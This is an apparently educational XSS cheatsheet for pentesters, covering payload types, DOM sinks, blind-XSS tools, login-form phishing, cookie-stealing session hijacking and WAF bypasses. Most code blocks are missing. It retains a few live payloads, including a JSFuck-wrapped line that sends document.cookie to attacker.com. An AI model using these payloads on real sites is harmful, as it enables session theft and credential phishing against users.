XSS

Cross Site Scripting: methodology, payloads, tools

ko-fiarrow-up-right

Types of attack

  • Cookie Stealing

  • Keylogging

  • Webcam snapshot

  • Phishing

  • Port Scanning

  • Other browser based exploits - There are millions of possibilities with XSS.

Types of XSS

Type
Description

Stored (Persistent) XSS

The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)

Reflected (Non-Persistent) XSS

Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)

DOM-based XSS

Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Cheatsheet

Extension to incorporate XSS Cheatsheet in Burp

One Liner

Fuzzing

Fuzzingchevron-right

Bypass weak validations

Reflected Parameters

Chrome extension

WAF Bypass - Payload Generator

Basic Payloads

WAF Bypass

Base 64 encoded:

Cuneiform-alphabet based

Polyglot payload - All in one

Source: https://brutelogic.com.br/blog/bypassing-whitelists-with-xss-payloads-in-attributes/arrow-up-right

Source: https://x.com/KN0X55/status/1889708590744703269arrow-up-right

Grep - Match 1337: https://portswigger.net/burp/documentation/desktop/tools/intruder/uses/fuzzingarrow-up-right

circle-check
circle-check

Payload List

Tiny XSS

Stored XSS

circle-check

Will pop up the browser print dialog, which is unlikely to be blocked by any browser

Cookies

Reflected XSS

The single quotes contain our XSS payload '<script>alert(window.origin)</script>'.

GET request sends their parameters and data as part of the URL. So, to target a user, we can send them a URL containing our payload.

DOM XSS

Sink:

  • document.write()

  • DOM.innerHTML

  • DOM.outerHTML

Document Sink

Location Sink

Execution Sink

DOM Source

A source is a JavaScript property that accepts data that is potentially attackercontrolled

jQuery:

  • add()

  • after()

  • append()

innerHTML function does not allow the use of the <script> tags within it as a security feature

Payload:

Bypass Dom Purify - Mutated XSS

Dom-Explorer

Burp

Firefox Extension

Dom Logger ++ - See Burp extensions

Chrome extension

Blind XSS

Blind XSS Scanner

ezXSS

BeeXSS

XSSHunter

BXSS HUnter

KNOXSS

Create a demo account: https://knoxss.me/arrow-up-right

Blind XSS Custom Vector - Default

Blind XSS Custom Vector - Short Polyglot (HTML & JS Main Cases)

Blind XSS Custom Vector - Full Polyglot (20+ XSS Cases)

XSS Discovery

Burp, Nessus, ZAP

Nuclei Template

https://raw.githubusercontent.com/coffinxp/priv8-Nuclei/refs/heads/main/reflection.yamlarrow-up-right

Open Source

Other great tool:

Release Page - build in - Just download

Commercial Tool

Manual

See Payload

circle-info

Note: XSS can be injected into any input in the HTML page, which is not exclusive to HTML input fields, but may also be in HTTP headers like the Cookie or User-Agent (i.e., when their values are displayed on the page).

Defacing

Three HTML elements are usually utilized to change the main look of a web page:

  • Background Color document.body.style.background

  • Background document.body.background

  • Page Title document.title

  • Page Text DOM.innerHTML

Changing Background

circle-info

Here we set the background color to the default Hack The Box background color. We can use any other hex value, or can use a named color like = "black".

Changing Page Title

Changing Page Text

jQuery

innerHTML

document.getElementsByTagName('body') => by specifying [0], we are selecting the first body element, which should change the entire text of the web page

Phishing

circle-info

Tip: To understand which payload should work, try to view how your input is displayed in the HTML source after you add it.

Login Form Injection

Login form:

Payload:

Vicitm URL: http://SERVER_IP/phishing/index.php?url=...SNIP...

Remove the URL field, such that they may think that they have to log in to be able to use the page. To do so, we can use the JavaScript function document.getElementById().remove() function.

Find the id of the HTML element we want to remove:

Final Payload:

Remove the original HTML code left after our injected login form

Credential Stealing

If any victim attempts to log in with the form, we will get their credentials.

Use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections

index.php:

Start a PHP listening server,

Blind XSS Detection

Payload Generator:

Identify the vulnerable input field that executed the script

If we get a request for /username, then we know that the username field is vulnerable to XSS, and so on.

circle-check

Payloads from PayloadsAllTheThings

Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP

circle-check

Also see Blind XSS

Blind XSS in Request Header

HTTP Header Exploitationchevron-right

Try in common header

• Referrer • X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Ip, Host (in case of a reverse proxy) • User-Agent • Etc.

Session Hijacking

Payloads

Write any of these JavaScript payloads to script.js, which will be hosted on our VM

Change the URL in the XSS payload we found earlier to use script.js

If there were many cookies, we may not know which cookie value belongs to which cookie header. So, we can write a PHP script to split them with a new line and write them to a file

Save the following PHP script as index.php

Redirect

Open Redirectionchevron-right

Bypass HTTPOnly - Sandwich Technique

Extract existing page code

If it doesn't work, try to put a js file on your webserver and fetch it:

xss.js

Payload:

XSS in an email / username

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).

"><img/src/onerror=import('//domain/')>"@yourdomain.com

XSS in phone number

Textarea

XSS in .css file

XSS.SWF

SVG Tag - Confuse filters

Source: https://x.com/garethheyes/status/1843331462004912389?t=wmNCIF85tvyXZ21GMJ9B6w&s=03arrow-up-right

Source: https://x.com/0x0SojalSec/status/1844806824983413002?t=sfLD3yJAVRjsXew1YJ40QA&s=03arrow-up-right

XSS Polyglots

XSS Cuneiform-alphabet based

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

http://url.com/search?title=<xss_payload>

ISO-2022-JP

Invisible Javascript

https://x.com/aemkei/status/1843756978147078286arrow-up-right

XSS using github pages

Header Injection

HTTP Header Exploitationchevron-right

Server Side - PDF Generator

SSRFchevron-right

XSS to read local file

Prototype Pollution

For Red Teaming

XSS Keylogger

XSS With JSFuck

Convert document.location='http://attacker.com?'+document.cookie with JSFuck.

Put the result inside <button autofocus onfocus=(eval)([JSFuck])></button>

WAF Bypass

WAF Bypasschevron-right

Bypass Filters

Bypass Akamai, Imperva and CloudFlare

Use this tricks to bypass alert block by XSS WAF

Amazon / Cloudflare WAF Bypass :

mXSS (Mutated XSS)

https://x.com/therceman/status/1862093437467496722?t=SZ07gfch6y1Zmj83xC6whA&s=03arrow-up-right

mXSS (Mutated Cross-Site Scripting) occurs when a browser unexpectedly processes and transforms seemingly safe HTML tags or attributes, allowing malicious scripts to bypass filters and execute.

While libraries like DomPurify are designed to mitigate such attacks, some versions have been exploited by researchers who have discovered new ways to trick the browser and bypass this defense mechanisms.

However, not every developer is aware of DomPurify, or they may choose not to use it for various reasons, opting instead to create their own filters or validators dor safe HTML. This is where mXSS becomes particularly effective in bypassing custum protection measures

WhatWaf

CloudFlare

Payload : %3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E

CloudFront

Akamai

Akamai: Stored XSS via cache poisoning https://twitter.com/WllGates/status/1788179999100444802

Akamai:

In Redirect Parameter using HTTP Parameter Pollution and Double URL Encode:

Imperva

Sucuri

Amazon WAF

Modsecurity

RXSS

Alert(1)

Stored XSS

ASP

Keylogger

Resources

Payloads

Tools

findom-ss

See XSS Discovery for more tools

Interesting Books

Interesting Bookschevron-right
circle-info

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

ko-fiarrow-up-right

buymeacoffeearrow-up-right

Last updated